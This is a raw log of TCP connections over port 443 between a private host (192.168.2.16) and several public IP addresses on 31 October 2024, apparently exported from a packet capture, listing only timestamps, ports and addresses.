Oct 31, 2024 21:55:16.921287060 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.921300888 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.921366930 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.921370983 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.921411991 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.921603918 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.921619892 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.921685934 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.921690941 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.921735048 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.922399044 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.922414064 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.922483921 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.922488928 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.922612906 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.923013926 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.923032045 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.923124075 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.923129082 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.923187971 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.972769976 CET	443	51032	172.202.163.200	192.168.2.16
Oct 31, 2024 21:55:16.972872019 CET	51032	443	192.168.2.16	172.202.163.200
Oct 31, 2024 21:55:16.973999977 CET	51032	443	192.168.2.16	172.202.163.200
Oct 31, 2024 21:55:16.974004030 CET	443	51032	172.202.163.200	192.168.2.16
Oct 31, 2024 21:55:16.974190950 CET	443	51032	172.202.163.200	192.168.2.16
Oct 31, 2024 21:55:16.975470066 CET	51032	443	192.168.2.16	172.202.163.200
Oct 31, 2024 21:55:17.023334026 CET	443	51032	172.202.163.200	192.168.2.16
Oct 31, 2024 21:55:17.033605099 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:17.033663034 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:17.033689022 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:17.033751011 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:17.033979893 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:17.033994913 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:17.070317984 CET	443	51030	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:17.070563078 CET	51030	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:17.070581913 CET	443	51030	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:17.070868969 CET	443	51030	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:17.071203947 CET	51030	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:17.071254969 CET	443	51030	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:17.071316957 CET	51030	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:17.111336946 CET	443	51030	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:17.112071991 CET	443	51032	172.202.163.200	192.168.2.16
Oct 31, 2024 21:55:17.112272978 CET	51032	443	192.168.2.16	172.202.163.200
Oct 31, 2024 21:55:17.112286091 CET	443	51032	172.202.163.200	192.168.2.16
Oct 31, 2024 21:55:17.112297058 CET	51032	443	192.168.2.16	172.202.163.200
Oct 31, 2024 21:55:17.112410069 CET	443	51032	172.202.163.200	192.168.2.16
Oct 31, 2024 21:55:17.112436056 CET	443	51032	172.202.163.200	192.168.2.16
Oct 31, 2024 21:55:17.112478018 CET	51032	443	192.168.2.16	172.202.163.200
Oct 31, 2024 21:55:17.190968037 CET	443	51033	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:17.191210032 CET	51033	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:17.191229105 CET	443	51033	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:17.191548109 CET	443	51033	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:17.191832066 CET	51033	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:17.191891909 CET	443	51033	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:17.191948891 CET	51033	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:17.235337019 CET	443	51033	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:17.313708067 CET	443	51030	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:17.364212990 CET	51030	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:17.439147949 CET	443	51030	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:17.439157009 CET	443	51030	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:17.439193964 CET	443	51030	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:17.439228058 CET	443	51030	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:17.439246893 CET	51030	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:17.439265966 CET	443	51030	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:17.439316988 CET	51030	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:17.441452980 CET	443	51030	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:17.441472054 CET	443	51030	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:17.441540956 CET	51030	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:17.441549063 CET	443	51030	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:17.441586018 CET	51030	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:17.486942053 CET	443	51033	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:17.487065077 CET	443	51033	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:17.487128973 CET	51033	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:17.487783909 CET	51033	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:17.487803936 CET	443	51033	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:17.487845898 CET	51033	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:17.487873077 CET	51033	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:17.505028963 CET	51034	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:17.505115032 CET	443	51034	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:17.505228996 CET	51034	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:17.505456924 CET	51034	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:17.505494118 CET	443	51034	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:17.561077118 CET	443	51030	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:17.561095953 CET	443	51030	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:17.561218023 CET	51030	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:17.561228991 CET	443	51030	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:17.561280966 CET	51030	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:17.563087940 CET	443	51030	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:17.563102961 CET	443	51030	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:17.563194036 CET	51030	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:17.563199997 CET	443	51030	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:17.563241005 CET	51030	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:17.564826965 CET	443	51030	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:17.564842939 CET	443	51030	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:17.564908028 CET	51030	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:17.564913988 CET	443	51030	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:17.564960957 CET	51030	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:17.566576004 CET	443	51030	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:17.566591024 CET	443	51030	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:17.566663027 CET	51030	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:17.566668987 CET	443	51030	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:17.566720963 CET	51030	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:17.685590982 CET	443	51030	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:17.685606003 CET	443	51030	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:17.685687065 CET	51030	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:17.685693026 CET	443	51030	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:17.685720921 CET	443	51030	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:17.685740948 CET	51030	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:17.685745001 CET	443	51030	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:17.685767889 CET	51030	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:17.685777903 CET	443	51030	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:17.685796022 CET	51030	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:17.685822964 CET	51030	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:17.685954094 CET	51030	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:17.685966969 CET	443	51030	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:18.183655977 CET	51035	443	192.168.2.16	52.149.20.212
Oct 31, 2024 21:55:18.183686018 CET	443	51035	52.149.20.212	192.168.2.16
Oct 31, 2024 21:55:18.183762074 CET	51035	443	192.168.2.16	52.149.20.212
Oct 31, 2024 21:55:18.184178114 CET	51035	443	192.168.2.16	52.149.20.212
Oct 31, 2024 21:55:18.184187889 CET	443	51035	52.149.20.212	192.168.2.16
Oct 31, 2024 21:55:19.437382936 CET	443	51034	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:19.437756062 CET	51034	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:19.437813044 CET	443	51034	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:19.438153028 CET	443	51034	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:19.438457012 CET	51034	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:19.438534975 CET	443	51034	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:19.438596964 CET	51034	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:19.479338884 CET	443	51034	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:19.488284111 CET	51034	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:19.620908022 CET	443	51035	52.149.20.212	192.168.2.16
Oct 31, 2024 21:55:19.620995998 CET	51035	443	192.168.2.16	52.149.20.212
Oct 31, 2024 21:55:19.622225046 CET	51035	443	192.168.2.16	52.149.20.212
Oct 31, 2024 21:55:19.622234106 CET	443	51035	52.149.20.212	192.168.2.16
Oct 31, 2024 21:55:19.622437000 CET	443	51035	52.149.20.212	192.168.2.16
Oct 31, 2024 21:55:19.623498917 CET	51035	443	192.168.2.16	52.149.20.212
Oct 31, 2024 21:55:19.667341948 CET	443	51035	52.149.20.212	192.168.2.16
Oct 31, 2024 21:55:19.671422005 CET	443	51034	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:19.671813011 CET	443	51034	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:19.671819925 CET	443	51034	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:19.671847105 CET	443	51034	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:19.671905994 CET	443	51034	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:19.671988010 CET	51034	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:19.671988010 CET	51034	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:19.671988964 CET	51034	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:19.672276020 CET	51034	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:19.672310114 CET	443	51034	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:19.675640106 CET	51036	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:19.675681114 CET	443	51036	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:19.675832033 CET	51036	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:19.676035881 CET	51036	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:19.676052094 CET	443	51036	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:19.693732023 CET	51037	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:19.693764925 CET	443	51037	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:19.693936110 CET	51037	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:19.694011927 CET	51037	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:19.694020033 CET	443	51037	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:19.924000025 CET	443	51035	52.149.20.212	192.168.2.16
Oct 31, 2024 21:55:19.924027920 CET	443	51035	52.149.20.212	192.168.2.16
Oct 31, 2024 21:55:19.924058914 CET	443	51035	52.149.20.212	192.168.2.16
Oct 31, 2024 21:55:19.924107075 CET	51035	443	192.168.2.16	52.149.20.212
Oct 31, 2024 21:55:19.924134970 CET	443	51035	52.149.20.212	192.168.2.16
Oct 31, 2024 21:55:19.924263954 CET	51035	443	192.168.2.16	52.149.20.212
Oct 31, 2024 21:55:19.924263954 CET	51035	443	192.168.2.16	52.149.20.212
Oct 31, 2024 21:55:19.924334049 CET	443	51035	52.149.20.212	192.168.2.16
Oct 31, 2024 21:55:19.924401045 CET	51035	443	192.168.2.16	52.149.20.212
Oct 31, 2024 21:55:19.924406052 CET	443	51035	52.149.20.212	192.168.2.16
Oct 31, 2024 21:55:19.925093889 CET	443	51035	52.149.20.212	192.168.2.16
Oct 31, 2024 21:55:19.925153971 CET	51035	443	192.168.2.16	52.149.20.212
Oct 31, 2024 21:55:19.926311016 CET	51035	443	192.168.2.16	52.149.20.212
Oct 31, 2024 21:55:19.926323891 CET	443	51035	52.149.20.212	192.168.2.16
Oct 31, 2024 21:55:19.926333904 CET	51035	443	192.168.2.16	52.149.20.212
Oct 31, 2024 21:55:19.926338911 CET	443	51035	52.149.20.212	192.168.2.16
Oct 31, 2024 21:55:20.036278009 CET	51038	443	192.168.2.16	52.149.20.212
Oct 31, 2024 21:55:20.036326885 CET	443	51038	52.149.20.212	192.168.2.16
Oct 31, 2024 21:55:20.036395073 CET	51038	443	192.168.2.16	52.149.20.212
Oct 31, 2024 21:55:20.036777020 CET	51038	443	192.168.2.16	52.149.20.212
Oct 31, 2024 21:55:20.036791086 CET	443	51038	52.149.20.212	192.168.2.16
Oct 31, 2024 21:55:20.311774015 CET	443	51037	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:20.312022924 CET	51037	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:20.312041998 CET	443	51037	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:20.312321901 CET	443	51037	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:20.312613964 CET	51037	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:20.312665939 CET	443	51037	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:20.312726974 CET	51037	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:20.355338097 CET	443	51037	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:20.994705915 CET	443	51037	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:20.994805098 CET	443	51037	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:20.994956017 CET	51037	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:20.995337009 CET	51037	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:20.995351076 CET	443	51037	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:20.995359898 CET	51037	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:20.995400906 CET	51037	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:20.997453928 CET	51039	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:20.997487068 CET	443	51039	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:20.997570038 CET	51039	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:20.997808933 CET	51039	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:20.997822046 CET	443	51039	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:21.236625910 CET	443	51036	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:21.236922026 CET	51036	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:21.236938953 CET	443	51036	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:21.237236977 CET	443	51036	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:21.237535000 CET	51036	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:21.237591982 CET	443	51036	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:21.237652063 CET	51036	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:21.279371977 CET	443	51036	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:21.350544930 CET	443	51038	52.149.20.212	192.168.2.16
Oct 31, 2024 21:55:21.350729942 CET	51038	443	192.168.2.16	52.149.20.212
Oct 31, 2024 21:55:21.351989031 CET	51038	443	192.168.2.16	52.149.20.212
Oct 31, 2024 21:55:21.352008104 CET	443	51038	52.149.20.212	192.168.2.16
Oct 31, 2024 21:55:21.352230072 CET	443	51038	52.149.20.212	192.168.2.16
Oct 31, 2024 21:55:21.353533983 CET	51038	443	192.168.2.16	52.149.20.212
Oct 31, 2024 21:55:21.395344019 CET	443	51038	52.149.20.212	192.168.2.16
Oct 31, 2024 21:55:21.474874973 CET	443	51036	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:21.476330996 CET	443	51036	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:21.476372957 CET	443	51036	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:21.476392984 CET	443	51036	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:21.476408958 CET	51036	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:21.476463079 CET	51036	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:21.476651907 CET	51036	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:21.476665974 CET	443	51036	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:21.663554907 CET	443	51038	52.149.20.212	192.168.2.16
Oct 31, 2024 21:55:21.663588047 CET	443	51038	52.149.20.212	192.168.2.16
Oct 31, 2024 21:55:21.663602114 CET	443	51038	52.149.20.212	192.168.2.16
Oct 31, 2024 21:55:21.663712025 CET	51038	443	192.168.2.16	52.149.20.212
Oct 31, 2024 21:55:21.663750887 CET	443	51038	52.149.20.212	192.168.2.16
Oct 31, 2024 21:55:21.663810015 CET	51038	443	192.168.2.16	52.149.20.212
Oct 31, 2024 21:55:21.666208982 CET	443	51038	52.149.20.212	192.168.2.16
Oct 31, 2024 21:55:21.666249990 CET	443	51038	52.149.20.212	192.168.2.16
Oct 31, 2024 21:55:21.666274071 CET	51038	443	192.168.2.16	52.149.20.212
Oct 31, 2024 21:55:21.666290998 CET	443	51038	52.149.20.212	192.168.2.16
Oct 31, 2024 21:55:21.666316986 CET	443	51038	52.149.20.212	192.168.2.16
Oct 31, 2024 21:55:21.666317940 CET	51038	443	192.168.2.16	52.149.20.212
Oct 31, 2024 21:55:21.666373014 CET	51038	443	192.168.2.16	52.149.20.212
Oct 31, 2024 21:55:21.666416883 CET	51038	443	192.168.2.16	52.149.20.212
Oct 31, 2024 21:55:21.666450977 CET	443	51038	52.149.20.212	192.168.2.16
Oct 31, 2024 21:55:21.666476011 CET	51038	443	192.168.2.16	52.149.20.212
Oct 31, 2024 21:55:21.666490078 CET	443	51038	52.149.20.212	192.168.2.16
Oct 31, 2024 21:55:22.069219112 CET	443	51039	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:22.069529057 CET	51039	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:22.069552898 CET	443	51039	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:22.069838047 CET	443	51039	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:22.070353985 CET	51039	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:22.070353985 CET	51039	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:22.070406914 CET	443	51039	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:22.120194912 CET	51039	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:22.311781883 CET	443	51039	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:22.313057899 CET	443	51039	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:22.313066006 CET	443	51039	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:22.313111067 CET	443	51039	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:22.313124895 CET	443	51039	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:22.313163996 CET	51039	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:22.313221931 CET	51039	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:22.313411951 CET	51039	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:22.313427925 CET	443	51039	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:22.315867901 CET	51040	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:22.315913916 CET	443	51040	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:22.315989017 CET	51040	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:22.316205978 CET	51040	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:22.316231966 CET	443	51040	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:22.329088926 CET	51041	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:22.329161882 CET	443	51041	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:22.329246044 CET	51041	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:22.329440117 CET	51041	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:22.329466105 CET	443	51041	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:22.362309933 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:22.362354994 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:22.362440109 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:22.362608910 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:22.362620115 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:22.376972914 CET	51043	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:22.377002954 CET	443	51043	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:22.377078056 CET	51043	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:22.377206087 CET	51044	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:22.377227068 CET	443	51044	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:22.377285004 CET	51044	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:22.377373934 CET	51045	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:22.377408981 CET	443	51045	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:22.377463102 CET	51045	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:22.377604961 CET	51043	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:22.377618074 CET	443	51043	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:22.377795935 CET	51044	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:22.377806902 CET	443	51044	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:22.377963066 CET	51045	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:22.377980947 CET	443	51045	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:22.970952034 CET	443	51041	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:22.971240044 CET	51041	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:22.971350908 CET	443	51041	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:22.972196102 CET	443	51041	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:22.972276926 CET	51041	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:22.972548962 CET	51041	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:22.972615957 CET	443	51041	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:22.972740889 CET	51041	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:22.972767115 CET	443	51041	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:22.975428104 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:22.975606918 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:22.975627899 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:22.976481915 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:22.976546049 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:22.976784945 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:22.976836920 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:22.976865053 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.009911060 CET	443	51043	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:23.010113001 CET	51043	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:23.010137081 CET	443	51043	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:23.010418892 CET	443	51043	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:23.010687113 CET	51043	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:23.010737896 CET	443	51043	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:23.010807037 CET	51043	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:23.010831118 CET	443	51043	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:23.010859966 CET	51043	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:23.010879993 CET	443	51043	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:23.010895014 CET	51043	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:23.010902882 CET	443	51043	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:23.014214993 CET	51041	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.019339085 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.030180931 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.030205965 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.047851086 CET	443	51045	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:23.048060894 CET	51045	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:23.048086882 CET	443	51045	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:23.048947096 CET	443	51045	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:23.049010992 CET	51045	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:23.049266100 CET	51045	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:23.049324036 CET	443	51045	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:23.049403906 CET	51045	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:23.049415112 CET	443	51045	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:23.049468040 CET	51045	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:23.049480915 CET	51045	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:23.049510956 CET	443	51045	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:23.078213930 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.122195959 CET	443	51041	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.122240067 CET	443	51041	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.122267962 CET	443	51041	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.122308969 CET	51041	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.122369051 CET	443	51041	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.122421980 CET	443	51041	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.122430086 CET	51041	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.122447968 CET	443	51041	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.122488022 CET	443	51041	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.122494936 CET	51041	443	192.168.2.16	188.114.97.3
